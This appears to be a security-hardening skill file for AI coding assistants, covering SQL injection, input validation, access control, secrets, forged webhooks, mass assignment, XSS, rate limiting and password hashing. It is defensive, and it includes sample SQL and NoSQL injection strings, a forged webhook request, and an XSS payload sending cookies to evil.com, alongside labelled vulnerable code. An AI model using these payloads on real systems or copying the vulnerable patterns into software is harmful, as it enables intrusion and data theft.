Security Hardening

Complete security guide for indie and vibe-coded web apps — covering SQL injection prevention, input validation, secrets management, webhook signature verification, broken access control, XSS prevention, and rate limiting. Use this skill whenever the user is building anything that stores user data, handles payments, takes user input, calls a database, or exposes an API. Also trigger for phrases like "how do I make this secure", "is this safe", "can this be hacked", "search bar security", "SQL injection", "protect my API", "secure my backend", "should I validate input", "how do I store secrets", "is my webhook safe". This skill should be consulted for EVERY backend feature — security is not optional and AI almost always skips it by default. Always apply these rules before writing any route, controller, or database query.Security Hardening Skill The Core Problem AI optimizes for making code work on the happy path. Attackers never take the happy path. Every piece of user input, every API endpoint, every database query is a potential attack surface. These protections must be explicitly added — AI skips them by default.

Attack 1: SQL Injection (Search Bars, Filters, Any User Input into DB) What It Is User types into a search bar. The query goes directly into SQL. The attacker types SQL commands instead of a search term. Vulnerable code — what AI writes: javascriptconst query = SELECT * FROM users WHERE name = '${searchInput}' db.run(query) What the attacker types: ' OR '1'='1 What the database sees: sqlSELECT * FROM users WHERE name = '' OR '1'='1' -- Returns EVERY user in the database Destruction variant: '; DROP TABLE users; -- The Fix: Parameterized Queries — Always javascript// CORRECT — user input is treated as data, never as SQL const query = SELECT * FROM users WHERE name = ? db.run(query, [searchInput])

// PostgreSQL syntax const result = await db.query( 'SELECT * FROM users WHERE name = $1', [searchInput] )

// Prisma (automatically parameterized) const users = await prisma.user.findMany({ where: { name: searchInput } }) Rule: Never concatenate user input into a SQL string. Ever. No exceptions. Tell Cursor This

"Use parameterized queries everywhere — never concatenate user input, request parameters, or any external data into SQL strings. Use ? placeholders (MySQL/SQLite) or $1 placeholders (PostgreSQL)."

Attack 2: Input Validation — Never Trust What Comes In What It Is Attackers don't use your frontend. They send raw HTTP requests with whatever data they want. If your backend doesn't validate, they can send:

Negative prices on an order Someone else's user ID to access their data A tag in a name field that runs in other browsers (XSS) A 500MB string that crashes your server An email field containing SQL A boolean field containing {"$ne": null} (NoSQL injection)

Validation on Every Input javascript// Using express-validator const { body, param, validationResult } = require('express-validator')

const createProjectRules = [ body('name') .trim() .notEmpty().withMessage('Name is required') .isLength({ max: 100 }).withMessage('Name too long') .escape(), // strips HTML tags — prevents XSS stored in DB

body('description') .optional() .trim() .isLength({ max: 2000 }) .escape(),

body('price') .isFloat({ min: 0 }).withMessage('Price must be positive') ]

async function createProject(req, res) { const errors = validationResult(req) if (!errors.isEmpty()) { return res.status(400).json({ errors: errors.array() }) } // now safe to use req.body } What to Always Validate Input typeWhat to checkStringsLength min/max, allowed characters, trim whitespaceNumbersIs it actually a number? Min/max range? Integer or float?EmailsValid email formatPasswordsMinimum length, complexity if requiredIDsUUID format before hitting DBPrices/amountsPositive number, max ceilingDatesValid date, not in the past if requiredFilesMIME type, file size limitJSON bodySchema validation, reject unknown fields

Attack 3: Broken Access Control (Most Common Vulnerability) What It Is A user requests data that belongs to another user. Your backend returns it because it only checks if the user is logged in — not if they own the resource. Vulnerable code: javascriptasync function getProject(req, res) { const project = await Project.findById(req.params.id) // Gets ANY project by ID — attacker just iterates IDs res.json(project) } Attacker does: bashGET /api/projects/1 GET /api/projects/2 GET /api/projects/3

Gets everyone's projects

The Fix: Always Scope Queries to the Logged-In User javascriptasync function getProject(req, res) { const project = await Project.findById(req.params.id, req.user.id) // Only returns project if it belongs to this user if (!project) return res.status(404).json({ error: 'Not found' }) res.json(project) }

// In the model: async findById(id, userId) { const result = await db.query( 'SELECT * FROM projects WHERE id = $1 AND user_id = $2', [id, userId] // Must match BOTH id and user_id ) return result.rows[0] || null } Rule: Every DB query that returns user data must filter by the logged-in user's ID. Tell Cursor This

"Always scope database queries to req.user.id — never fetch a resource by ID alone. The query must check BOTH the resource ID and user_id to prevent users from accessing each other's data."

Attack 4: Secrets Exposure What AI Does Wrong

Hardcodes API keys in code files Puts database URLs in the codebase Commits .env files to GitHub

GitHub has bots that scan every public push for API keys. They find keys within minutes. Then they use your OpenAI key to generate content, your Stripe key to issue refunds, your DB credentials to dump your database. The Rules bash# .gitignore — always include these .env .env.local .env.production *.pem *.key config/secrets.json javascript// Wrong — hardcoded const stripe = new Stripe('sk_live_abc123hardcoded')

// Wrong — env var accessed directly everywhere const stripe = new Stripe(process.env.STRIPE_SECRET_KEY) // scattered in 8 files

// Right — all secrets through config/env.js const { stripe: stripeKey } = require('../config/env') const stripe = new Stripe(stripeKey) Frontend Secret Rule Never put secret API keys in frontend code. The browser is public. Anyone can see it.

❌ OpenAI key in React component ❌ Stripe secret key in frontend ✅ Stripe publishable key in frontend (designed to be public) ✅ All secret keys in backend only

Tell Cursor This

"All environment variables and secrets go in .env and are loaded through config/env.js. Never hardcode any API key, database URL, or secret in any code file. Never put secret keys in frontend code — only Stripe's publishable key is safe for the browser."

Attack 5: Fake Webhooks What It Is When Stripe, GitHub, or any service sends a webhook to your server, anyone can fake that request. Without verification, a hacker sends: bashPOST /webhooks/stripe {"type": "invoice.payment_succeeded", "data": {"object": {"customer": "cus_abc123"}}}

Your server upgrades the user without them paying

The Fix: Signature Verification javascript// Stripe webhook verification app.post('/webhooks/stripe', express.raw({ type: 'application/json' }), // MUST be raw buffer, not parsed JSON (req, res) => { let event try { event = stripe.webhooks.constructEvent( req.body, // raw buffer req.headers['stripe-signature'], process.env.STRIPE_WEBHOOK_SECRET ) } catch (err) { return res.status(400).json({ error: 'Webhook signature invalid' }) } // Only reaches here if Stripe actually sent it handleEvent(event) res.json({ received: true }) } ) Every major service has this — always implement it.

Attack 6: Mass Assignment What It Is AI writes controllers that spread the entire request body into DB updates. The attacker adds fields the user shouldn't control. Vulnerable code: javascriptasync function updateUser(req, res) { await User.update(req.user.id, req.body) // Attacker sends: { name: "Bob", is_admin: true, plan: "pro" } // All of it goes into the DB } The Fix: Explicit Field Allowlist javascriptasync function updateUser(req, res) { // Only allow specific fields — never spread the whole body const { name, bio, avatar_url } = req.body await User.update(req.user.id, { name, bio, avatar_url }) // Attacker's is_admin field is ignored because it was never destructured }

Attack 7: XSS (Cross-Site Scripting) What It Is User submits content with tags. Your app stores it and displays it to other users. The script runs in their browser — stealing their session, redirecting them, or worse. Name: document.location='https://evil.com/steal?cookie='+document.cookie The Fixes On input: Sanitize before storing javascriptconst { escape } = require('express-validator') // or const DOMPurify = require('isomorphic-dompurify') const clean = DOMPurify.sanitize(userInput) On output (React): React escapes by default — never use dangerouslySetInnerHTML with user content HTTP Headers: Add these to every response javascript// In app.js const helmet = require('helmet') app.use(helmet()) // Sets Content-Security-Policy, X-XSS-Protection, and more

Rate Limiting — Protect Money and Resources javascriptconst rateLimit = require('express-rate-limit')

// Strict limit for expensive AI routes — protects your wallet const aiLimit = rateLimit({ windowMs: 60_000, // 1 minute max: 10, message: { error: 'Too many AI requests — please wait a moment' } })

// Auth routes — prevent brute force const authLimit = rateLimit({ windowMs: 15 * 60_000, // 15 minutes max: 5, skipSuccessfulRequests: true, message: { error: 'Too many login attempts — try again in 15 minutes' } })

// General API routes const generalLimit = rateLimit({ windowMs: 60_000, max: 100 })

Password Storage javascriptconst bcrypt = require('bcrypt') const SALT_ROUNDS = 12

// Storing password async function register(email, password) { const hash = await bcrypt.hash(password, SALT_ROUNDS) await User.create({ email, password_hash: hash }) // Never store the plain password }

// Verifying password async function login(email, password) { const user = await User.findByEmail(email) if (!user) return null

const match = await bcrypt.compare(password, user.password_hash) if (!match) return null

return user } Never store plain text passwords. Never log passwords. Never compare passwords with == .

Security Checklist — Apply to Every Feature Input

All user input validated with type, length, format checks No user input concatenated into SQL strings — parameterized queries only All strings sanitized before storing in DB File uploads: MIME type verified, size limited

Auth & Access

Protected routes have requireAuth middleware Every resource query scoped to req.user.id Sensitive actions (delete, admin) have additional authorization checks Passwords hashed with bcrypt before storing

Secrets

All API keys in .env — never in code files .env in .gitignore No secret keys sent to or stored in the frontend config/env.js validates all required vars on startup

Webhooks & External

Webhook signature verified before processing Webhook handler uses raw body buffer, not parsed JSON Price IDs on server only — never trust price from frontend

Infrastructure

Rate limiting per route — stricter on expensive/auth routes helmet middleware applied in app.js CORS configured to allow only your frontend domain

Master Security Prompt for Cursor Paste at the start of any backend session: Security requirements — apply to every endpoint and query:

1. Parameterized queries only — never concatenate user input into SQL
2. Validate and sanitize all req.body, req.params, req.query inputs before using them
3. Scope all DB queries to req.user.id — check user_id in every WHERE clause on user data
4. Explicit field allowlists in updates — never spread req.body directly
5. Secrets in .env only, loaded through config/env.js — nothing hardcoded
6. Webhook handlers verify signature with raw body buffer before processing
7. Rate limiting applied per route — AI routes max 10/min, auth routes max 5/15min
8. Add helmet() middleware to app.js
9. CORS restricted to frontend domain only
10. Passwords hashed with bcrypt — never stored plain